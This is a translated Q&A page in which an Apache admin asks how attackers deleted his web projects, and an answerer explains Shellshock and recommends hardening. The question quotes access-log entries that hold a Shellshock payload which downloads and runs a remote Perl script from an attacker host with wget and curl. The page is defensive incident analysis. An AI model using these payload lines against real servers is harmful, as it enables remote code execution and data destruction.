首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >在浏览器中使用cgi脚本时需要确保apache的安全

在浏览器中使用cgi脚本时需要确保apache的安全
EN

Security用户
提问于 2017-03-05 13:23:24
回答 1查看 731关注 0票数 0

我的apache服务器启用了cgi模块,因为我们需要在浏览器中执行cgi脚本。我们已经启用了apache的suExec模块,它允许以特定用户的身份执行cgi脚本,在我们的例子中,用户是ubuntu,巧合的是,它也是sudo用户,但是我们在cgi脚本中没有使用任何sudo命令,我们也没有为此目的操作sudoers文件。它从一开始就是默认文件。

我们使用的cgi脚本位于/usr/lib/cgi目录中,其所有者是ubuntu。htdocs目录是/var/www/html,其中放置了所有的web项目。这个目录的所有者也是ubuntu,因为我们的cgi脚本在这些项目目录中创建和更新文件,如果项目目录的所有者不是ubuntu,那么我们就不能使用cgi脚本写入这些目录。

这是我们长期使用的场景,直到上周还没有遇到任何麻烦。当攻击者使用cgi脚本删除/var/www/html的web项目时,攻击就暴露了出来。

我在访问日志里找到了这个条目。

代码语言:javascript
复制
    [02/Mar/2017:03:36:20 +0530] "GET /cgi-bin/test.cgi HTTP/1.1" 200 12786 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"

我有这个perl文件(perlscript.tgz),它有988行,我不知道它做了什么,但是我很确定它已经造成了破坏,因为日志文件中的项目urls在这个条目之前不是404,在此之后,所有的项目urls都是404。

这不是唯一的条目。在此之前,攻击者多次尝试失败。以下是不成功的尝试日志。

代码语言:javascript
复制
 [02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/script.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"

 [02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/test-bin.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"

 [02/Mar/2017:03:36:35 +0530] "GET /cgi-bin/test-cgi.pl HTTP/1.1" 404 381 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://attackerssite.com/perlscript.tgz -O /tmp/perlscript.tgz;curl -O /tmp/perlscript.tgz http://attackerssite.com/perlscript.tgz;perl /tmp/perlscript.tgz ; rm -f /tmp/perlscript.tgz* \");'"

这些都是失败的尝试,几乎几百次,但都是404次。成功的尝试以200种状态返回,它摧毁了一切。

请解释攻击者如何到达项目目录并删除它们,最重要的是,我现在应该做些什么来使我的系统在将来对这些攻击保持健壮?

EN

回答 1

Security用户

发布于 2017-03-05 22:55:55

我们需要在浏览器中执行cgi脚本。

呃,不。CGI脚本在服务器上执行。

在我们的例子中,这个用户

您使用suexec对单个用户进行权限分离吗?那是really...unusual?

在我们的例子中,用户是ubuntu。

艾克!这大概是一个Ubuntu盒子。我想你一定有很好的理由这么做。

文档根目录的所有者也是ubuntu。

哦,亲爱的。我不认为你考虑得很好。

如果项目目录的所有者不是ubuntu,那么我们就不能使用cgi脚本写入这些目录。

您可能想花些时间阅读这些优秀的文档。您可以与其他用户一起写入这些目录(或让其他用户拥有这些目录,并让您的cgi用户可以访问这些目录)。

正如Steffen所说,他们可能会使用Shell休克,但一旦进入,他们就可以运行您的服务器。你可以修补贝壳休克的秃鹫。但是你在这里描述的是一个糟糕的设计目录。如果这次攻击不是最琐碎的机器人,那么攻击者已经安装了其他后门。

将您在这里描述的内容转换为安全的内容,将在堆栈溢出站点上占用更多的帖子和答案。

作为绝对最低限度:

  • 从低轨道核爆你的服务器
  • 从攻击前的备份进行重建(不要连接到internet)
  • 修补您的服务器,并想出一种保持它最新的方法。
  • 安装基于主机的IDS并学习如何使用它
  • 分离内容的控制通道,并在专用门户中运行它。
  • 使用ubuntu以外的uid执行cgi脚本
  • 确保此用户只有在绝对需要它完成其工作的情况下才有写访问权。
  • 了解如何配置unix权限、suexec和umask,然后提出一个更好的权限模型。
  • 对于首选项,请在设备沙箱中运行For服务器。
  • 在插入互联网之前应用该模型。
票数 2
EN
页面原文内容由Security提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://security.stackexchange.com/questions/153007

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档